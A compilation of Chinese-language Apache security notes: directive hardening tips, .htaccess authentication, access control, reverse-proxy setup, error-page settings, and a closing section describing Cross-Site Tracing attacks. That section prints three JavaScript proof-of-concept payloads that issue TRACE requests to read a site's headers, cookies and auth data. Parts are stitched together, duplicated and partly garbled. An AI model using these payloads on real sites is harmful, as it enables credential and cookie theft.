1. FollowSymLinks
該指令被預設啟用,在建立到網際網路伺服器的文檔根的符号連結時請小心。例如,提供一個到 / 的符号連結就不是個好主意。
2. Indexes 指令
該指令被預設啟用,但它可能不應該被啟用。要阻止通路者浏覽伺服器上的檔案,你可以删除該指令。
3. UserDir 指令
UserDir 指令被預設禁用,因為它可以确認某個使用者帳号在系統上是否存在。要啟用伺服器上的使用者目錄浏覽,請使用以下指令:
UserDir enabled
UserDir disabled root
這些指令為除了 /root/ 以外的所有使用者目錄激活浏覽。要把使用者添加到禁用帳号清單中,在 UserDir disabled 行中添加一個用空格隔開的使用者清單。
4. 不要删除 IncludesNoExec 指令
按照預設設定,伺服器端包括(server-side includes)子產品不能執行指令。除非在極端必要的情況下,建議你不要改變這個設定,因為它有可能會使攻擊者能夠在系統上執行指令。
5. 限制對可執行目錄的權限
對于任何包含腳本或 CGI 的目錄,請确定隻給根使用者以寫權限。這可以通過鍵入以下指令來達到:
chown root <directory_name>
chmod 755 <directory_name>
==================================================================
文摘内容:
--------------------------------------------------------------------------------
Author:Phoenix
Homepage:http://www.safechina.net/
E-mail:[email protected]
前 言:在目前的Internet時代,首頁已成為樹立公司形象和展示自我天地的一個重要手段,配置一台強大且安全的Web Server就顯得尤其重要。在衆多的Web Server産品中,Apache是應用最為廣泛的一個産品,同時也是一個設計上非常安全的程式。但是,同其它應用程式一樣,Apache也存在安全缺 陷。本文将詳細介紹如何正确配置和維護Apache WEB Server的安全性問題等。
一,Apache伺服器的介紹
Apache 伺服器它是Internet網上應用最為廣泛的Web伺服器軟體之一。Apache伺服器源自美國國家超級技術計算應用中心(NCSA)的Web伺服器項 目中。目前已在網際網路中占據了上司地位。Apache伺服器得經過精心配置之後,才能使它适應高負荷,大吞吐量的網際網路工作。快速、可靠、通過簡單的 API擴充,Perl/Python解釋器可被編譯到伺服器中,且完全免費,完全源代碼開放。如果你需要建立一個每天有數百萬人通路的 Web伺服器,Apache可能是最佳選擇。
二,Apache伺服器的主要安全缺陷
正如我們前言所說盡管 Apache伺服器應用最為廣泛,設計上非常安全的程式。但是同其它應用程式一樣,Apache也存在安全缺陷。畢竟它是完全源代碼,Apache伺服器 的安全缺陷主要是使用HTTP協定進行的拒絕服務攻擊(denial of service)、緩沖區溢出攻擊以及被攻擊者獲得root權限三缺陷和最新的惡意的攻擊者進行“拒絕服務”(DoS)攻擊。合理的網絡配置能夠保護 Apache伺服器免遭多種攻擊。我們來介紹一下主要的安全缺陷:
(1)使用HTTP協定進行的拒絕服務攻擊(denial of service)的安全缺陷
這種方法攻擊者會通過某些手段使伺服器拒絕對HTTP應答。這樣會使Apache對系統資源(CPU時間和記憶體)需求的劇增,最終造成Apache系統變慢甚至完全癱瘓。
(2)緩沖區溢出的安全缺陷
該方法攻擊者利用程式編寫的一些缺陷,使程式偏離正常的流程。程式使用靜态配置設定的記憶體儲存請求資料,攻擊者就可以發送一個超長請求使緩沖區溢出。比如一些Perl編寫的處理使用者請求的網關腳本。一旦緩沖區溢出,攻擊者可以執行其惡意指令或者使系統當機。
(3)被攻擊者獲得root權限的安全缺陷
該安全缺陷主要是因為Apache伺服器一般以root權限運作(父程序),攻擊者會通過它獲得root權限,進而控制整個Apache系統。
(4)惡意的攻擊者進行“拒絕服務”(DoS)攻擊的安全缺陷
這 個最新在6月17日發現的漏洞,它主要是存在于Apache的chunk encoding中,這是一個HTTP協定定義的用于接受web使用者所送出資料的功能。 利用黑客程式可以對于運作在FreeBSD 4.5, OpenBSD 3.0 / 3.1, NetBSD 1.5.2平台上的Apache伺服器均可進行有效的攻擊.
所有說使用最高和最新安全版本對于加強Apache Web伺服器的安全是至關重要的。請廣大Apache伺服器管理者去http://www.apache.org/dist/httpd/下...WEB伺服器安全!
三, 正确維護和配置Apache伺服器
雖然Apache伺服器的開發者非常注重安全性,由于Apache伺服器其龐大的項目,難免會存在安全隐患。正确維護和配置Apache WEB伺服器就很重要了。我們應注意的一些問題:
(1)Apache伺服器配置檔案
Apache Web伺服器主要有三個配置檔案,位于/usr/local/apache/conf目錄下。這三個檔案是:
httpd.con----->主配置檔案
srm.conf------>填加資源檔案
access.conf--->設定檔案的通路權限
注:具體配置可以參考:http://httpd.apache.org/docs/mod/core.html
(2)Apache伺服器的日志檔案
我們可以使用日志格式指令來控制日志檔案的資訊。使用LogFormat "%a %l"指令,可以把發出HTTP請求浏覽器的IP位址和主機名記錄到日志檔案。出于安全的考慮,在日志中我們應知道至少應該那些驗證失敗的WEB使用者,在 http.conf檔案中加入LogFormat "%401u"指令可以實作這個目的。這個指令還有其它的許多參數,使用者可以參考Apache的文檔。另外,Apache的錯誤日志檔案對于系統管理者來 說也是非常重要的,錯誤日志檔案中包括伺服器的啟動、停止以及CGI執行失敗等資訊。更多請參看Apache日志系列1-5。
(3)Apache伺服器的目錄安全認證
在Apache Server中是允許使用 .htaccess做目錄安全保護的,欲讀取這保護的目錄需要先鍵入正确使用者帳号與密碼。這樣可做為專門管理網頁存放的目錄或做為會員區等。
在保護的目錄放置一個檔案,檔名為.htaccss
AuthName "會員專區"
AuthType "Basic"
AuthUserFile "/var/tmp/xxx.pw" ----->把password放在網站外
require valid-user
到apache/bin目錄,建password檔
% ./htpasswd -c /var/tmp/xxx.pw username1 ----->第一次建檔要用參數"-c"
% ./htpasswd /var/tmp/xxx.pw username2
這樣就可以保護目錄内的内容,進入要用合法的使用者.
注:采用了Apache内附的模組。也可以采用在httpd.conf中加入:
options indexes followsymlinks
allowoverride authconfig
order allow,deny
allow from all
(4)Apache伺服器通路控制
我們就要看三個配置檔案中的第三個檔案了,即access.conf檔案,它包含一些指令控制允許什麼使用者通路Apache目錄。應該把deny from all設為初始化指令,再使用allow from指令打開通路權限。
<directory /usr/local/http/docs/private>
<limit>
order deny,allow
deny from all
allow from safechina.net
</limit>
</directory>
設定允許來自某個域、IP位址或者IP段的通路。
(5)Apache伺服器的密碼保護問題
我們再使用.htaccess檔案把某個目錄的通路權限賦予某個使用者。系統管理者需要在httpd.conf或者srm.conf檔案中使用AccessFileName指令打開目錄的通路控制。如:
AuthName PrivateFiles
AuthType Basic
AuthUserFile /path/to/httpd/users
require Phoenix
# htpasswd -c /path/to/httpd/users Phoenix
四,設定Apache伺服器的WEB和檔案伺服器
我們在Apache伺服器上存放WEB伺服器的檔案,供使用者通路,并設定/home/ftp/pub目錄為檔案存放區域,用http://download.your.com/pub/來通路。在防火牆上設定apache反向代理技術,由防火牆代理通路。
(1)Apache伺服器的設定
apache伺服器采用預設配置。主目錄為/home/httpd/html,主機域名為Phoenix.your.com,且别名到http://www.your.com/中, 并且設定sr...鹈ㄒ迦缦攏骸?
Alias /pub /home/ftp/pub/
更改預設應用程式類型定義如下:
DefaultType application/octet-stream
最後在/etc/httpd/conf/access.conf中增加一項定義
Options Indexes
AllowOverride AuthConfig
order allow,deny
allow from all
注: Options Indexes允許在找不到index.html檔案的情況下允許列出目錄/檔案清單。AllowOverride AuthConfig允許做基本的使用者名和密碼驗證。這樣的話,需要在/home/ftp/pub目錄下放入.htaccess,内容如下:
[[email protected] pub]# more .htaccess
AuthName Branch Office Public Software Download Area
AuthType Basic
AuthUserFile /etc/.usrpasswd
require valid-user
用# htpasswd -c /etc/.usrpasswd user1 分别建立不同的允許通路/pub下檔案服務的外部使用者名和密碼。
(2)在防火牆上配置反向代理技術.
在/etc/httpd/conf/httpd.conf 中加入 NameVirtualHost xxx.xxx.xxx.xxx
# xxx.xxx.xxx.xxx ----->是防火牆外部在網際網路上永久IP位址
servername http://www.your.com/
errorlog /var/log/httpd/error_log
transferlog /var/log/httpd/access_log
rewriteengine on
proxyrequests off
usecanonicalname off
rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 Apache伺服器的IP位址。
servername http://download.your.com/pub/
errorlog /var/log/httpd/download/error_log
transferlog /var/log/httpd/download/access_log
rewriteengine on
proxyrequests off
usecanonicalname off
rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 同上Apache伺服器的IP位址。
設定防火牆上的DNS,讓download.your.com和http://www.your.com/都指向防火牆的外部網位址xxx.xxx.xxx.xxx。用http://www.your.com/通路首頁,用htt...參募南略厍?
注:還需要在apache伺服器主機上建立目錄/var/log/httpd/download/,否則會出錯。另外,也可以設定防火牆主機上的/home/httpd/html/index.html的屬性為750來阻止通路,這是防外部使用者能通路到防火牆上的Apache伺服器的http://www.your.com/中。
總結:Apache Server是一個非常優秀,非常棒的伺服器,隻要你正确配置和維護好Apache伺服器,你就會感受到Apache Server 所帶來的好處,同樣希望你能夠通過閱讀本文達到理論和實踐雙豐收的目的。謝謝。
===========================================================
5.5. 保護 Apache HTTP 伺服器的安全
Apache HTTP 伺服器是紅帽企業 Linux 包括的最穩定和最安全的服務之一。保護 Apache HTTP 伺服器安全的方法和技術多得數不勝數 — 在這裡我們無法逐一詳述。
在配置 Apache HTTP 伺服器時閱讀它的文檔是很重要的。這些文檔包括: 《紅帽企業 Linux 參考指南》的“ Apache HTTP 伺服器”這一章; 《紅帽企業 Linux 系統管理指南》的“ Apache HTTP 伺服器 配置”這一章;以及在 http://www.redhat.com/docs/manuals/stronghold/ 上的原有手冊。
以下是管理者應該小心使用的配置選項清單。
·修改/etc/httpd/conf.d/welcome.conf,并注釋掉所有預設内容
[[email protected] conf.d]# cat welcome.conf
#
# This configuration file enables the default "Welcome"
# page if there is no default index page present for
# the root URL. To disable the Welcome page, comment
# out all the lines below.
#
#<LocationMatch "^/+$">
# Options -Indexes
# ErrorDocument 403 /error/noindex.html
#</LocationMatch>
·FollowSymLinks
該指令被預設啟用,在建立到網際網路伺服器的文檔根的符号連結時請小心。例如,提供一個到 / 的符号連結就不是個好主意。
· Indexes 指令
該指令被預設啟用,但它可能不應該被啟用。要阻止通路者浏覽伺服器上的檔案,你可以删除該指令。
·UserDir 指令
UserDir 指令被預設禁用,因為它可以确認某個使用者帳号在系統上是否存在。
要啟用伺服器上的使用者目錄浏覽,請使用以下指令:
UserDir enabled UserDir disabled root這些指令為除了 /root/ 以外的所有使用者目錄激活浏覽。
要把使用者添加到禁用帳号清單中,在 UserDir disabled 行中添加一個用空格隔開的使用者清單。
·不要删除 IncludesNoExec 指令
按照預設設定,伺服器端包括(server-side includes)子產品不能執行指令。除非在極端必要的情況下,建議你不要改變這個設定,因為它有可能會使攻擊者能夠在系統上執行指令。
· 限制對可執行目錄的權限
對于任何包含腳本或 CGI 的目錄,請确定隻給根使用者以寫權限。這可以通過鍵入以下指令來達到:
chown root <directory_name>
chmod 755 <directory_name>
還有,總是在把腳本放入生産環境 之前校驗它們在系統上的運作情況符合你的設想。
·報錯提示文檔
<Directory "/var/www/html">
Options FollowSymLinks #去掉了Options Index FollowSymLinks中的 Index
ErrorDocument 400 "BAD_REQUEST"
ErrorDocument 401 "UNAUTHORIZED"
ErrorDocument 403 "FORBIDDEN"
ErrorDocument 404 "NOT_FOUND"
ErrorDocument 405 "METHOD_NOT_ALLOWED"
ErrorDocument 408 "REQUEST_TIME_OUT"
ErrorDocument 410 "GONE"
ErrorDocument 411 "LENGTH_REQUIRED"
ErrorDocument 412 "PRECONDITION_FAILED"
ErrorDocument 413 "REQUEST_ENTITY_TOO_LARGE"
ErrorDocument 414 "REQUEST_URI_TOO_LARGE"
ErrorDocument 415 "UNSUPPORTED_MEDIA_TYPE"
ErrorDocument 500 "INTERNAL_SERVER_ERROR"
ErrorDocument 501 "NOT_IMPLEMENTED"
ErrorDocument 502 "BAD_GATEWAY"
ErrorDocument 503 "SERVICE_UNAVAILABLE"
ErrorDocument 506 "VARIANT_ALSO_VARIES"
</Directory>
================================================================= 跨域漏洞 出處: 黑客防線
XST攻擊描述:
攻擊者将惡意代碼嵌入一台已經被控制的主機上的web檔案,當通路者浏覽時惡意代碼在浏覽器中執行,然後通路者的cookie、http基本驗 證以及ntlm驗證資訊将被發送到已經被控制的主機,同時傳送Trace請求給目标主機,導緻cookie欺騙或者是中間人攻擊。
XST攻擊條件:
1、需要目标web伺服器允許Trace參數;
2、需要一個用來插入XST代碼的地方;
3、目标站點存在跨域漏洞。
XST與XSS的比較:
相同點:都具有很大的欺騙性,可以對受害主機産生危害,而且這種攻擊是多平台多技術的,我們還可以利用Active控件、Flash、Java等來進行XST和XSS攻擊。
優點:可以繞過一般的http驗證以及NTLM驗證
如何利用:
手法1:
<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject(/"Microsoft.XMLHTTP/");
xmlHttp.open(/"TRACE/",/"[url]http://wmjie.51.net/swords/[/url]/",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</SCRIPT>
<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">
手法2:
<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open(/"blank.htm/",/"swords/",/"width=500,height=400/");
var otraceswords=openWin.external;
openWin.location.href=/"[url]http://wmjie.51.net/swords/[/url]/";
setTimeout(
function () {
//以下必須寫在一行
otraceswords.NavigateAndFind('java script:xmlHttp=new ActiveXObject(/"Microsoft.XMLHTTP/");xmlHttp.open(/"TRACE /",/"[url]http://wmjie.51.net/swords/[/url]/",false);xmlHttp& #46;send();xmlDoc=xmlHttp.responseText;alert(/"不用document& #46;cookie 顯示站點wmjie.51.net/swords/ 的頭資訊。//n/" + xmlDoc);',/"/",/"/");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">
手法3:
<SCRIPT type=text/java script>
function xssTRACE(){
var swords = /"var xmlHttp = new ActiveXObject(//"Microsoft.XMLHTTP//")/;xmlHttp.open(//"TRACE//",//"[url]http://http://www.tingh.com/[/url]//",false)/;xmlHttp.send()/;xmlDoc=xmlHttp.responseText/;alert(xmlDoc)/;/";
var target = /"[url]http://wmjie.51.net/swords/[/url]/";
spinach = encodeURIComponent(swords + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent(/"' + spinach + '/")))';
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT οnclick=xssTRACE() type=button value=/"XSS TRACE/">
保護Apache的安全 後記:研究階段,希望能抛磚引玉,期望和您能夠交流心得體會。